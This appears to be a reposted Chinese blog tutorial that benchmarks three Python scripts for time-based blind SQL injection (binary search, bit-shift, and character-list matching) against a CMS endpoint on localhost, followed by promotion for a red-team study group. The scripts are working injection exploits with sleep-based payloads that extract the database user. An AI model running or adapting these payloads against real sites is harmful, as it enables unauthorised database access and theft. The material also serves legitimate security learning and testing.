免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
• 测试环境
• 二分の盲注
• 左移の盲注
• 小小の总结
• 匹配の盲注
这两天套娃网上的教程,实现了一下盲注脚本,在寻觅的过程中,看到一个使用MySQL位函数和运算符进行基于时间的高效SQL盲注,使用“右移”运算符(»),枚举从SQL查询返回值的二进制位
高效厚,高效吗?俺来试一试
测试环境是一个cms的sql注入漏洞,来源我就不说了,这里的sql注入就是没有过滤,但是是POST提交的方式,然后我改成了GET的方式,如果是POST的话,就是加一个data={}哈哈哈
这里木有加多线程进去,高速公路上比一比
二分法就是,把一个顺序的区间分为两半,取中间的数,目标大于中间的数就舍弃前半段,目标小于中间的数就舍弃后半段。我这里给的区间是30-150,我先按照我的理解,写了一下二分法盲注:
#二分法
import requests
import datetime
import timeheaders={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}
def blind(k,i):
realurl = '''http://127.0.0.1/shop/tijiao.html'''
payload = '''?guige=s&shuliang=1&id=1)and+if(ord(substr(user(),%d,1))>=%d,sleep(4),1)--''' % (k,i)
url = realurl + payload
time1 = datetime.datetime.now()
r = requests.get(url=url,headers=headers)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
return sec
def user_name():
name = ''
for k in range(1,15):#长度
mini=30
maxi=150
midi= mini+(maxi-mini)//2
for j in range(1,8):
if(blind(k,midi)<3):
maxi = midi
midi = mini+((midi-mini)//2)
else:
mini = midi
midi = mini+((maxi-midi)//2)
name += chr(midi)
print('user_name:',name)
user_name()
用户名[email protected],用时241.9s
r的ascii码是114,变二进制是0111 0010,分别左移7位、6位看一下
mysql> select 114>>7;
+--------+
| 114>>7 |
+--------+
| 0 |
+--------+
1 row in set (0.00 sec)mysql> select 114>>6;
+--------+
| 114>>6 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
字符串的第一位都是0,所以我们只需要核对后七位,也就是从左移6开始
然后按照我的理解,写了一下逐位左移的盲注,感觉写的好傻 啊,已经好久没写代码了,属于头一天写第二天就看不懂那种:
import requests
import datetime
import timeheaders={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}
def blind(k,i,j):
realurl = '''http://127.0.0.1/shop/tijiao.html'''
payload = '''?guige=s&shuliang=1&id=1)and+if((ascii((substr(user(),%d,1)))+>>+%d)=%d,sleep(4),1)--''' % (k,i,j)
url = realurl + payload
time1 = datetime.datetime.now()
r = requests.get(url=url,headers=headers)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
return sec
def user_name():
name = ''
for k in range(1,15):
j = 1
for i in range(6,-1,-1):
if((j%2)==0):
j += 1
time_blind=blind(k,i,j)
if (time_blind>1):
if(i == 0):
name += chr(j)
break
else:
j = j * 2 + 1
else:
if(i == 0):
name += chr(j - 1)
break
else:
j = (j - 1) * 2
print('user_name:',name)
user_name()
用户名[email protected],用时247s(ˉ﹃ˉ)
🔥为了公平起见,两个延时都是sleep(4)
🔥二分241.9左移247用时差不多,因为二分法是每次除以2,二进制中左移其实也是2倍计算
🔥如果你确定盲注的目标的字符范围,其实有更快的方法,如下
先要有一个列表,这里我把我能用到的放了进去,数字,大小写字母,和一个@,然后逐个匹配,如果匹配到了就是他了
import requests
import datetime
import timeheaders={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/goods/1.html',
'Cookie': 'UM_distinctid=1720c8e9f960-0fd572df9b95ed-374c2c08-15f900-1720c8e9f9a7; CNZZDATA1277972876=1114558-1589348573-%7C1589953788; PHPSESSID=hp0i4j6to52gg338ven8c69k8k'
}
def user_name():
name = ''
for i in range(1,15):
for j in '[email protected]':
realurl = '''http://127.0.0.1/shop/tijiao.html'''
payload = '''?guige=s&shuliang=1&id=1)and+if(substr(user(),%d,1)='%s',sleep(4),1)--''' % (i,j)
url = realurl + payload
time1 = datetime.datetime.now()
r = requests.get(url=url,headers=headers)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
name += j
break
print('user_name:',name)
user_name()
用户名[email protected],用时76.8s不香吗(。・∀・)ノ
ps:但如果你的列表里漏了一些特殊字符,那就漏了,所以还是二分和左移比较靠谱全面
原文:https://sueisok.github.io/blog/stupid-sqli-blind/#%E4%BA%8C%E5%88%86%E3%81%AE%E7%9B%B2%E6%B3%A8
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
往期文章